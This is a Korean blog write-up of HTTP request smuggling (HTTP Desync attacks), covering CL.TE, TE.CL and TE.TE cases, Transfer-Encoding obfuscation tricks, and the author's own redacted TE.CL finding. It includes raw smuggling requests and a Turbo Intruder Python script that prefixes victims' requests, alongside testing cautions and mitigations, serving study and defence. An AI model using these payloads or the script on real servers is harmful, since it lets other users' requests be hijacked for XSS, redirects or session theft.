Today’s content is Korean content for HTTP Desync Attacks. Based on the link below to this article. and can get more accurate information by referring to the this document.

최근에 Portswigger의 James(@albinowax)가 “HTTP Desync Attacks: Request Smuggling Reborn” 이라는 글을 게시하고 트윗이나 여러 매체에서 굉장히 핫했었는데요, 오늘은 그냥 제가 이해한 내용을 토대로 간략하게 정리해보려고 합니다. (틀린 부분 있다면 댓글 남겨주세요)

https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn

smuggling attack re-born! (@Hela..)

TL;DR

  • 프론트 서버와 백엔드서버의 처리 방식 차이를 이용한 Smuggling 공격
    • 프론트: LB, 리버스프록시 같은 앞단 서버
    • 백엔드: 실제 어플리케이션 서버(뒷단 서버)
  • 케이스별 테스트 방법
    • CL.TE: 0\r\n을 통해서 백엔드 서버에 특정 문자를 대기시킴
    • TE.CL: content-length를 통해 서버에 특정 문자를 대기시킴
    • TE.TE: 한쪽 서버만 transfer-encoding을 처리하지 않도록, 나머진 위와 동일
      => 백엔드 서버에 프론트와 다른 값을 줘야함
    • 아래쪽에 Mycase 부분 보는게 더 나을수도 있습니다..
  • 결론: 알아둬야하고 체크해야하는 취약점이나 불특정 다수에게 영향 줄 수 있어서 조심해야함, 사실 원글이 훨씬 좋으니 원글 읽어주세요..ㅎㅎ
  • 결론2: 대응방안 빡세요.

HTTP Desync Attacks?

이름 그대로 Desync된 상태를 이용한 공격을 의미합니다. 좀 포괄적인 내용인데, HTTP/1.1 이후부터 TCP, SSL/TLS 소켓 하나로 여러개의 HTTP 요청을 전달할 수 있도록 변경됬습니다. Transfer-Encoding: chunked 헤더나 Content-Length 길이 값에 따라 서버가 처리하게 되며 스트리밍 서비스쪽에서 정말 많이 사용되는 방식입니다. (궁금하시면 영상이나 음원 재생 서비스 들어가서 패킷을 잡아보면.. 보입니다. HTTP 요청을 나눠서 받는것을..)

아무튼 의미 자체로는 이런 환경을 이용한 공격을 전반적으로 의미하는 것 같습니다.
자잘한 설명은 원글 참조하시는게 좋고, 공격 이해에 앞서서 2가지만 더 보고 갑시다.

Transfer-Encoding: chunked

hbh(hop-by-hop) 헤더로 데이터를 전송하기 위한 인코딩 형식을 지정하는 헤더입니다. end-to-end 헤더인 Content-Encoding과 유사하게 사용됩니다.

Transfer-Encoding: chunked
Transfer-Encoding: compress
Transfer-Encoding: deflate
Transfer-Encoding: gzip
Transfer-Encoding: identity

여러가지 인코딩 포맷을 지원하는데요, 우리가 이번에 보고 가야할 인코딩 방식은 chunked 입니다.
복잡한건 아니고, chunked 가 있는 경우 기존 Content-Length 헤더는 생략되고 chunk 앞부분에 현재 데이터의 길이(16진수), CRLF 이후 데이터가 오고 마지막에 다시 CRLF가 옵니다. 이를 통해서 큰 데이터를 나눠서 웹 서버에게 전송하고 받을 수 있게 됩니다.

예를들면... 이런식이죠.


HTTP/1.1 200 OK 
Content-Type: text/plain 
Transfer-Encoding: chunked

6\r\n
HAHWUL\r\n 
4\r\n
Test\r\n
6\r\n
isTest\r\n
0\r\n 
\r\n


각 데이터가 전송될 크기의 16진수 값, 실제 값 형태로 전달하며 데이터 전송의 스트림이 마무리될 때 0\r\n 으로 종료를 인지합니다. 다만 조금 애매한게 하나 있는데, 보통 대다수 TE 헤더가 Response에 적용된 사례가 많다는겁니다. 그래서 저는 Request에 있는 경우에도 Response와 동일하게 동작한다는 가정하에 이해하고 테스트한거긴한데, 이게 실제론 아닐수도 있다는 점 유의 부탁드립니ㅏㄷ...
(자료가 없어요 아무리 찾아봐도)

Request Smuggling?

옜날에 나온 기법이긴하나, 요즘 PortSwigger에서 굉장히 관심있고 좋아하는 공격 방법인 것 같습니다. 어떻게 보면 웹 캐시 포이즈닝이랑 비슷할 수 있는데, 여러 사용자로 부터 받은 HTTP 요청을 웹 서버가 처리하는 과정에서 다른 사용자의 요청에 간섭하는 방법입니다.
이 그림이 가장 정확해 보입니다. (따로 그리기도 뭐한…)

https://portswigger.net/web-security/images/http-request-smuggling.svg
직접 그리고 싶었으나, 이 그림 이상으로 절대 잘 설명할 수가 없음.
awesome..

왜 가능한가 하면 보통 프로덕션 서버들, 즉 운영중인 실 서비스들은 웹 서버가 표면에 직접적으로 노출되는 경우가 적은편입니다. LB나 리버스프록시 등 앞단에 요청을 받아서 전달하거나 분배해주는 서버가 있기 마련인데, 이 앞단 서버에서 뒷단 서버로 전달하는 과정 중 chunked, Content-Encoding 등을 만나면 지정된 크기만큼 처리하고 남은 패킷을 처리하지 않고 남겨두고 있는데, 이 패킷 데이터가 다른 사용자의 요청에서 처리되어 영향을 끼치게 됩니다. 결국 계산된 크기만큼 처리하고 GET /test 같은 형태로 시작하는 값을 넣어주게 되면 그 다음 소켓 사용자의 웹 요청 시작 부분이 GET /test로 시작하게 되어서 다른 사용자의 액션을 변경할 수 있어집니다.

공격 시나리오?

결국 사용자 요청을 제어할 수 있기 때문에 XSS, Open redirect 등의 공격은 당연히 가능하며 중요 데이터를 공격자 서버로 이동시킨다는 등 여러가지 액션이 가능합니다. 딱 HTTP 응답에 대한 Injection입니다. 글 작성자가 여러 케이스를 정리해뒀는데 직접 가서 읽어보심이 좋습니다.

분석 방법

가장 중요한 부분인데요.. 우선은 노가다성이 짙기 때문에 Burp Extension(https://github.com/portswigger/http-request-smuggler)을 쓰시는게 좋을 것 같습니다.
테스트 방법은 우선 Content-Length, Trasfer-Encoding 헤더를 이용해서 앞단 서버와 뒷단 서버가 각각 어떤 길이를 인지하는지 체크합니다.

앞자리만 따서 3가지 케이스 정도가 나옵니다.

CL.TE :: 프론트(Content-Length), 백엔드(Transfer-Encoding)

프론트 엔드는 Content-Type을 보고 13만큼의 크기로 인지하고 SMUGGLED를 포함한 post body를 모두 보내고 백엔드는 chunked를 보기 때문에 0\r\n 을 보고 각각 개별 요청으로 분리해서 판단하게 됩니다. 그럼 SMUGGLED 윗 부분까지만 요청으로 처리하고 백엔드 캐시에 SMUGGLED부터 남아서 다음 요청에서 이어붙여지게 됩니다.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0
SMUGGLED


TE.CL :: 프론트(Transfer-Encoding), 백엔드(Content-Length)

CL.TE랑 반대로된 케이스입니다. 프론트는 0\r\n 기준으로 분리해서 보기 때문에 전체 post body를 백엔드로 보내고,  백엔드는 Content-Type의 크기를 참고하기 때문에 3개 문자, 즉 8과 개행문자(\r\n) 까지만 처리하고 백엔드에 대기되게 됩니다. 그래서 다음 요청은 SMUGGLED로 시작하게 됩니다.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

위 요청대로면 chunked로 인해 프론트는 모두 보내게 되고, 백엔드는 Content-Length를 보고 8(+개행)까지만 처리하게 됩니다. 그로인해 다음 요청은 SMUGGLED로 시작하게 됩니다.

TE.TE :: 프론트(Transfer-Encoding), 백엔드(Transfer-Encoding)

사실상 위 CL.TE, TE.CL의 대응방안일 수 있으나 개행문자등을 이용해서 우회할 수 있는 여지가 있습니다.
Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

이 방법을 이용해서 작성자는 paypal 로그인 부분을…
(하필 제가 피토하면서 봤던 부분이라 마음이 짠하네요 ㅜㅜ)

어떻게 우회되는가 하면, 저런 문자 처리를 이용해서 프론트, 백엔드 중 하나는 Transfer-Encoding을 처리하지 않게 유도하는겁니다.

자 그럼 실제로 취약한지는 어떻게 판단해야할까요..
우리가 노려야할 부분은 위에 요청 이후 다음 요청입니다. 다음 요청에서 SMUGGLED로 시작하는 웹 요청이 처리됬는지, 즉 임의의 웹 요청이 처리되는지 알아야하는데 위에처럼 단순한 문자열로는 에러 기반으로 감지해야하고 아닌 경우엔 테스트 서버 페이지로 요청을 하나 날리게 한다던가, 뭔가 식별할 수 있는 요청을 던져야 합니다(404, response 조작 등). 그리고 아주 빠르게 다음 요청을 선점해서 공격 여부를 식별해야하는 것 같구요..

막 테스트해도 될까?

자.. 대충 내용은 정리했는데, 이게 참 웹 캐시 포이즈닝과 비슷하게 테스트 자체가 불특정 다수에게 피해를 줄 수 있습니다.. 왜냐하면 chunked로 인해서 서버가 대기하는 상태에서 다른 사용자의 요청이 변조되는거라 테스팅하는 사람도 즉각적인 인지가 어렵고, 테스터의 환경에서만 재현되는게 아니라 캐시 포이즈닝처럼 순간 그 요청 순서에 물린 사용자에게 트리거되기 때문에 실서비스 대상으론 조심스러울 것 같단 생각이 듭니다.
(그러다보니, PoC 영상에서도 굉장히 여러번 툴을 이용해서 반복요청을 합니다)

=> 사실 저땐 테스트가 좀 어려울까 싶었는데, 실제로 되는 조건에서 해보니 간단하게 테스트하는 것 정도는 괜찮을 것 같단 느낌입니다. 다만, 사용자 트래픽이 많은 구간에선 조심해야할 것 같구요.

My Case

위에 CL:TE, TE:CL 케이스를 봐도 눈에 잘 안들어올 수 있는데요.. 제 케이스를 내용만 임의 데이터로 수정해서 대략적인 형태만 보여드릴까 합니다. (TE:CL이에요)

취약점 식별?


POST /whereisthispage HTTP/1.1
Host: **********
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/plain, */*; q=0.01
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-length: 12
Transfer-Encoding : chunked

4
test
0

Content-Length(0까지 길이 12)와 Transfer-Encoding(0\r\n의 위치)의 크기가 일치할 때
=> 정상 처리


POST /whereisthispage HTTP/1.1
Host: **********
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/plain, */*; q=0.01
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-length: 13
Transfer-Encoding : chunked

4
test
0

X
Content-Length(X까지 13)와 Transfer-Encoding(0\r\n 까지 12)의 크기가 일치하지 않을 때
=> 멈춤(백엔드에서 기다림)
+ 프론트에선 0\r\n까지 보고 0까지 데이터를 넘겨줬지만 백엔드에선 13의 크기로 보기 때문에 12의 크기가 와서 멈춘 상태(X가 없어서)

결국 이 상황을 보면 프론트는 TE(Transfer-Encoding), 백엔드는 CL(Content-Length)를 신뢰한단걸 알 수 있습니다.

공격코드


POST /whereisthispage HTTP/1.1
Host: **********
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/plain, */*; q=0.01
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-length: 13
Transfer-Encoding : chunked

4
test
e3
GET /otherurl HTTP/1.1
Host: targethost?
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

결국 13크기(e3\r\n까지) 만큼 CL을 지정하고 전송하게 되면 프론트는 TE를 보기 때문에 요청 전문을 넘겨주고, 백엔드는 CL을 봐서 GET /otherurl 이전 부분까지만 처리하고 나머지는 백엔드에 남아 다음 요청을 대기하게 됩니다.
그럼 다른사용자 또는 테스터의 요청이 해당 백엔드 서버로 넘어갈 때 의도한 요청(POST ~~~)가 아닌 GET /otherurl을 타게되어 여러가지 문제(Redirect, xss, sessions hijack.. etc..)를 발생시킬 여지를 만들게 됩니다.

저는 302 요청하는 페이지로 식별했네요.


Script(Turbo Intruder, python, edit sleep time / number of requests)

import re

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=1,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0
                           )
    engine.start()

    # This will prefix the victim's request. Edit it to achieve the desired effect.
    prefix = '''GET /otherurl HTTP/1.1
Host: targetorother
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1'''

    chunk_size = hex(len(prefix)).lstrip("0x")
    attack = target.req.replace('0\r\n\r\n', chunk_size+'\r\n'+prefix+'\r\n0\r\n\r\n')
    content_length = re.search('Content-Length: ([\d]+)', attack).group(1)
    attack = attack.replace('Content-Length: '+content_length, 'Content-length: '+str(int(content_length)+len(chunk_size)-3))
    engine.queue(attack)

    for i in range(30):
        engine.queue(target.req)
        time.sleep(0.02)


def handleResponse(req, interesting):
    table.add(req)


Conclusion

솔직히 아직도 정확하게 머릿속으로 정리된게 아닙니다.. 아마 이 글도 여러번 수정을 하게될 것 같은데, 혹시 보시고 잘못된 부분이나 추가됬으면 하는 부분들은 댓글 남겨주세요.

어느정도 정리가 되긴했는데, 결국 중요한건
서버간 Content-Length와 Transfer-Encoding 헤더를 다르게 신뢰하는지,
실제 공격 땐 각 길이값을 잘 계산해야한다는 점,
트래픽 큰 페이지는 조심해서 테스트해야한다는 점
마지막으로 대응방안이 답도 없다는 점... 입니다.

대응은 아마 서비스 특성이나 인프라 환경 고려해서 조치하시는게 좋을듯 합니다. 페이팔의 경우 스트리밍 계열 서비스가 없다보니 Transfer-Encoding 자체를 비신뢰(들어오면 reject)하는 걸로 처리했다고 하네요. 참고참고

알비노가 제시한 대응방안과 제 의견...

- 서버간 통신 시 HTTP2 사용
 + 엄청난 대규모 작업이 예상됨
- 프론트, 백엔드 간 동일한 헤더를 신뢰하도록 맞추기
 + 엄청난 대규모 작업이 예상됨
- 직접 검증
 + 엄청난 성능 저하가 있을수도 있음(서비스 규모에 따라)

지니가 필요할땐가..

Reference

https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn
https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/Transfer-Encoding
https://portswigger.net/web-security/request-smuggling

댓글 2개:

  1. 작성자가 댓글을 삭제했습니다.

    답글삭제
  2. 테스팅 편의성은 https://github.com/portswigger/http-request-smuggler 가 압도적으로 좋으니 해당 확장 기능으로 테스트하시는게 좋을듯합니다.
    별도로 스캐너 만드는것도, 크게 어려운건 아니니 만들어두고 두고두고 사용하는것도 좋아보여요 (:

    답글삭제